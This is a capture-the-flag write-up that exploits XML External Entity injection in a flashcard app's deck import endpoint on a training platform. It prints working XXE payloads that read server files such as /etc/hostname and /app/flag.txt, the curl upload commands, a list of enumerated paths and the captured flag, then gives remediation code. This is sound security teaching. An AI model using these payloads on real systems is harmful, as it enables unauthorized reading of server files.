Tanuki: XXE Injection via Deck Import
Overview
- Platform: BugForge
- Vulnerability: XML External Entity (XXE) Injection
- Key Technique: XXE via XML deck import endpoint with in-band exfiltration through stored entity values
- Result: Arbitrary file read on the server; exfiltrated flag from
/app/flag.txt
Objective
Find the flag hidden on the server. The application is a flashcard study platform (Tanuki) with deck import functionality.
Initial Access
# Target Application
URL: https://lab-1773779335721-pzz0mz.labs-app.bugforge.io
# Auth — registered account
POST /api/register
{"username": "haxor", "email": "haxor@test.com", "password": "password", "full_name": "haxor"}
# JWT Bearer token returned on registration (HS256, no expiry)
Key Findings
- XXE Injection via XML Deck Import (CWE-611: Improper Restriction of XML External Entity Reference) — The
/api/decks/importendpoint parses uploaded XML with external entity resolution enabled, allowing arbitrary file reads on the server. - In-Band Exfiltration Channel — Entity content is stored directly in the database (deck name, description, category, card fields) and returned via the REST API, providing a reliable read-back mechanism without requiring out-of-band infrastructure.
- Exposed Admin API Routes (CWE-200: Exposure of Sensitive Information) — Client-side JS bundle reveals
/api/admin/users,/api/admin/decks,/api/admin/cardsendpoints. Not tested but potential access control weakness. - JWT Without Expiry (CWE-613: Insufficient Session Expiration) — HS256 tokens have no
expclaim, meaning tokens are valid indefinitely once issued.
Attack Chain Visualization
┌──────────────────┐ ┌─────────────────────────┐ ┌────────────────────┐
│ Register Account│────▶│ Obtain JWT (HS256) │────▶│ Craft XXE Payload │
│ POST /api/ │ │ Bearer token, no expiry│ │ DOCTYPE + ENTITY │
│ register │ └─────────────────────────┘ │ file:///app/ │
└──────────────────┘ │ flag.txt │
└────────┬───────────┘
│
▼
┌──────────────────┐ ┌─────────────────────────┐ ┌────────────────────┐
│ Flag in deck │◀────│ Entity value stored │◀────│ Upload XML via │
│ name field │ │ in deck name column │ │ POST /api/decks/ │
│ GET /api/ │ │ in SQLite database │ │ import (multipart)│
│ decks/:id │ └─────────────────────────┘ └────────────────────┘
└──────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Frontend | React SPA | Single-page application served as static assets |
| Backend | Express (Node.js) | REST API with JWT authentication |
| Database | SQLite | Integer IDs, simple schema for users/decks/cards |
| Import | POST /api/decks/import | Multipart file upload accepting XML and JSON |
| Study | /api/study/* | Flashcard study sessions and progress tracking |
| Admin | /api/admin/* | User/deck/card management (found in JS bundle) |
Exploitation Path
Step 1: Reconnaissance — Mapping the Application
Registered an account and enumerated the API surface. The app is a flashcard study tool with deck creation, import, and study session features.
POST /api/register HTTP/1.1
Content-Type: application/json
{"username": "haxor", "email": "haxor@test.com", "password": "password", "full_name": "haxor"}
Response returned a JWT (HS256, no expiry). User ID was 4, implying 3 seed users exist.
Key discovery: /api/decks/import accepts both XML and JSON file uploads via multipart form data.
Step 2: Confirming XML Parsing — Baseline Import
Downloaded the sample deck (/sample-deck.json) to understand the expected schema. Tested that the import endpoint accepts XML by uploading a well-formed XML deck.
Step 3: Testing XXE — Entity Resolution
Crafted a minimal XXE payload to test whether the XML parser resolves external entities:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE deck [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<deck>
<name>&xxe;</name>
<description>XXE test</description>
<category>test</category>
<cards>
<card>
<front>test</front>
<back>test</back>
</card>
</cards>
</deck>
Uploaded via multipart form:
curl -X POST "$URL/api/decks/import" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@xxe.xml;type=application/xml"
Fetched the created deck — the name field contained container hint text (“Flag is in a different file”), confirming entity resolution is active. The parser processes SYSTEM entities and stores the file content in the database.
Step 4: File Enumeration — Hunting the Flag
Tried common CTF flag locations. Most system files (/etc/hostname, /etc/passwd, /proc/self/environ, /app/package.json) returned the hint text “Flag is in a different file” — the container had overwritten them.
Paths that returned nothing (file not found):
/flag,/flag.txt,/app/flag,/app/secret/tmp/flag,/opt/flag,/run/secrets/flag/home/node/flag,/var/flag,/etc/secret
Step 5: Flag Exfiltration
Targeted /app/flag.txt based on the hint:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE deck [
<!ENTITY xxe SYSTEM "file:///app/flag.txt">
]>
<deck>
<name>&xxe;</name>
<description>flag attempt</description>
<category>xxe</category>
<cards>
<card>
<front>test</front>
<back>test</back>
</card>
</cards>
</deck>
Fetched the deck:
curl -s "$URL/api/decks/$DECK_ID" -H "Authorization: Bearer $TOKEN" | jq .
The deck name field contained the flag.
Flag / Objective Achieved
bug{67jHSKEjVMsVHx3I3gon5x8rtsK18Mp9}
Key Learnings
- In-band XXE is simpler than OOB — When entity values are stored and returned through normal application flow (database → API response), there’s no need for out-of-band exfiltration infrastructure (HTTP callbacks, DNS, etc.)
- Container file masking is a real CTF pattern — The challenge overwrote common system files with hints to force methodical enumeration rather than lucky guesses
- Multipart upload parsing can be tricky — Initial attempts may fail due to encoding differences between tools/sessions. If a payload should work but doesn’t, verify the raw multipart body
- JS bundle analysis reveals hidden endpoints — Admin routes (
/api/admin/*) were exposed in the client bundle even though the UI doesn’t link to them
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
file:///etc/hostname |
Returned hint text | Container replaced file contents with “Flag is in a different file” |
file:///etc/passwd |
Returned hint text | Same container masking |
file:///flag.txt (root) |
No content / empty | File doesn’t exist at that path |
file:///app/flag (no ext) |
No content / empty | Wrong filename — needed .txt extension |
file:///proc/self/environ |
Returned hint text | Container-level masking on environment variables |
First file:///app/flag.txt attempt (deck 8) |
Failed | Likely multipart encoding issue between editor sessions |
Tools Used
| Tool | Purpose |
|---|---|
| curl | HTTP requests, multipart file upload |
| jq | JSON response parsing |
| Browser DevTools | JS bundle analysis, endpoint discovery |
Remediation
1. XML External Entity (XXE) Injection (CVSS: 9.1 - Critical)
Issue: The XML parser on /api/decks/import resolves external entities, allowing server-side file reads.
CWE Reference: CWE-611 — Improper Restriction of XML External Entity Reference
Fix:
// BEFORE (Vulnerable) — default parser settings
const xmlParser = require('some-xml-parser');
const parsed = xmlParser.parse(uploadedXml);
// AFTER (Secure) — disable external entities and DTD processing
const { XMLParser } = require('fast-xml-parser');
const parser = new XMLParser({
allowBooleanAttributes: false,
processEntities: false, // Disable entity expansion
htmlEntities: false,
ignoreDeclaration: true
});
const parsed = parser.parse(uploadedXml);
// Alternative: use libxmljs2 with noent: false (default)
const libxml = require('libxmljs2');
const doc = libxml.parseXml(uploadedXml, {
noent: false, // Do NOT expand entities
dtdload: false, // Do NOT load external DTDs
nonet: true // No network access
});
2. JWT Without Expiration (CVSS: 5.4 - Medium)
Issue: JWT tokens are issued without an exp claim, meaning they never expire. A stolen token grants indefinite access.
CWE Reference: CWE-613 — Insufficient Session Expiration
Fix:
// BEFORE (Vulnerable)
const token = jwt.sign({ id: user.id }, SECRET);
// AFTER (Secure)
const token = jwt.sign({ id: user.id }, SECRET, { expiresIn: '1h' });
3. Exposed Admin Routes in Client Bundle (CVSS: 3.7 - Low)
Issue: Admin API endpoints are referenced in the client-side JavaScript bundle, leaking internal API surface to unauthenticated users.
CWE Reference: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor
Fix: Remove admin route references from client-side code. Admin functionality should be in a separate bundle loaded only after admin authentication, or referenced only server-side.
OWASP Top 10 Coverage
- A05:2021 — Security Misconfiguration: XML parser configured with external entity resolution enabled (default-unsafe configuration)
- A07:2021 — Identification and Authentication Failures: JWT tokens issued without expiration claims
- A01:2021 — Broken Access Control: Admin API routes potentially accessible without proper authorization checks (unverified)
References
- OWASP XXE Prevention Cheat Sheet
- CWE-611: Improper Restriction of XML External Entity Reference
- PortSwigger XXE Research
- HackTricks XXE
Tags: #xxe #xml #file-read #bugforge #webapp #ctf
Document Version: 1.0
Last Updated: 2026-03-17